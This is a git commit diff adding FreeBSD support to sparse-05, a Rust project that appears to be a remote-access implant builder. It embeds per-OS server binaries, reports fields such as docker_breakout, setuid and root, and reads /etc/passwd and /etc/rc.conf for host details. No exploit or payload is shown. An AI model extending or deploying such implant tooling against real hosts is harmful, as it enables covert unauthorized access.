feat: added FreeBSD support
to make use of it, create a FreeBSD VM with curl installed and install rustup by default from rustup.rs, then run `cargo build -p sparse-05-server`
This commit is contained in:
@@ -12,12 +12,14 @@ pub const SPARSE_LINUX_SERVER_BINARY: &'static [u8] =
|
||||
#[cfg(not(debug_assertions))]
|
||||
pub const SPARSE_LINUX_SERVER_BINARY: &'static [u8] =
|
||||
include_bytes!(std::env!("SPARSE_LINUX_SERVER"));
|
||||
|
||||
#[cfg(debug_assertions)]
|
||||
pub const SPARSE_WINDOWS_SERVER_BINARY: &'static [u8] =
|
||||
include_bytes!("../../../../target/x86_64-pc-windows-gnu/debug/sparse-05-server.exe");
|
||||
#[cfg(not(debug_assertions))]
|
||||
pub const SPARSE_WINDOWS_SERVER_BINARY: &'static [u8] =
|
||||
include_bytes!(std::env!("SPARSE_WINDOWS_SERVER"));
|
||||
|
||||
#[cfg(debug_assertions)]
|
||||
pub const SPARSE_WINDOWS_SERVICE_BINARY: &'static [u8] =
|
||||
include_bytes!("../../../../target/x86_64-pc-windows-gnu/debug/sparse-05-server.exe");
|
||||
@@ -25,6 +27,9 @@ pub const SPARSE_WINDOWS_SERVICE_BINARY: &'static [u8] =
|
||||
pub const SPARSE_WINDOWS_SERVICE_BINARY: &'static [u8] =
|
||||
include_bytes!(std::env!("SPARSE_WINDOWS_SERVICE"));
|
||||
|
||||
pub const SPARSE_FREEBSD_SERVER_BINARY: &'static [u8] =
|
||||
include_bytes!("../../../sparse-05-freebsd-server");
|
||||
|
||||
pub async fn generate(mut name: PathBuf, port: u16, target: TargetOs) -> anyhow::Result<()> {
|
||||
let mut csprng = rand::thread_rng();
|
||||
let keypair = Keypair::generate(&mut csprng);
|
||||
@@ -53,6 +58,7 @@ pub async fn generate(mut name: PathBuf, port: u16, target: TargetOs) -> anyhow:
|
||||
|
||||
file.write_all(match target {
|
||||
TargetOs::Linux => SPARSE_LINUX_SERVER_BINARY,
|
||||
TargetOs::FreeBSD => SPARSE_FREEBSD_SERVER_BINARY,
|
||||
TargetOs::Windows => SPARSE_WINDOWS_SERVER_BINARY,
|
||||
TargetOs::WindowsService => SPARSE_WINDOWS_SERVICE_BINARY
|
||||
})
|
||||
|
||||
@@ -16,6 +16,7 @@ fn to_socket_addr(src: &str) -> Result<SocketAddr, std::io::Error> {
|
||||
|
||||
pub enum TargetOs {
|
||||
Linux,
|
||||
FreeBSD,
|
||||
Windows,
|
||||
WindowsService,
|
||||
}
|
||||
|
||||
@@ -96,6 +96,7 @@ pub mod messages {
|
||||
pub enum OperatingSystem {
|
||||
Windows,
|
||||
Linux,
|
||||
FreeBSD
|
||||
}
|
||||
|
||||
#[derive(Serialize, Deserialize, Debug)]
|
||||
|
||||
0
sparse-05/sparse-05-freebsd-server
Normal file
0
sparse-05/sparse-05-freebsd-server
Normal file
@@ -2,6 +2,7 @@
|
||||
use std::ffi::c_int;
|
||||
use std::path::PathBuf;
|
||||
|
||||
use anyhow::Context;
|
||||
use sparse_05_common::messages::{Capabilities, OperatingSystem, TransportType};
|
||||
|
||||
#[derive(Debug)]
|
||||
@@ -60,7 +61,7 @@ struct cap_user_data_t {
|
||||
inheritable: u32,
|
||||
}
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
#[cfg(any(target_os = "linux", target_os = "freebsd"))]
|
||||
fn get_username(uid: u32) -> anyhow::Result<Option<String>> {
|
||||
let passwd = std::fs::read_to_string("/etc/passwd")?;
|
||||
|
||||
@@ -118,11 +119,7 @@ fn get_current_capabilities() -> anyhow::Result<SrvCapabilities> {
|
||||
.ok();
|
||||
|
||||
Ok(SrvCapabilities {
|
||||
operating_system: if cfg!(target_os = "linux") {
|
||||
OperatingSystem::Linux
|
||||
} else {
|
||||
OperatingSystem::Windows
|
||||
},
|
||||
operating_system: OperatingSystem::Linux,
|
||||
docker_container,
|
||||
docker_breakout,
|
||||
setuid,
|
||||
@@ -153,6 +150,31 @@ fn get_current_capabilities() -> anyhow::Result<SrvCapabilities> {
|
||||
})
|
||||
}
|
||||
|
||||
#[cfg(target_os = "freebsd")]
|
||||
fn get_current_capabilities() -> anyhow::Result<SrvCapabilities> {
|
||||
let uid = unsafe { libc::getuid() };
|
||||
let root = uid == 0;
|
||||
let userent = get_username(uid)?;
|
||||
let hostname = std::fs::read_to_string("/etc/rc.conf")?
|
||||
.split("\n")
|
||||
.map(|line| line.split("=").collect::<Vec<_>>())
|
||||
.find(|line| line.get(0) == Some(&"hostname"))
|
||||
.map(|line| line.get(1).map(|name| name.to_string()))
|
||||
.flatten();
|
||||
|
||||
Ok(SrvCapabilities {
|
||||
operating_system: OperatingSystem::FreeBSD,
|
||||
docker_container: false,
|
||||
docker_breakout: false,
|
||||
setuid: false,
|
||||
service: false,
|
||||
root,
|
||||
userent: userent.clone(),
|
||||
transport: TransportType::RawUdp,
|
||||
hostname,
|
||||
})
|
||||
}
|
||||
|
||||
pub fn get_capabilities() -> anyhow::Result<SrvCapabilities> {
|
||||
get_current_capabilities()
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user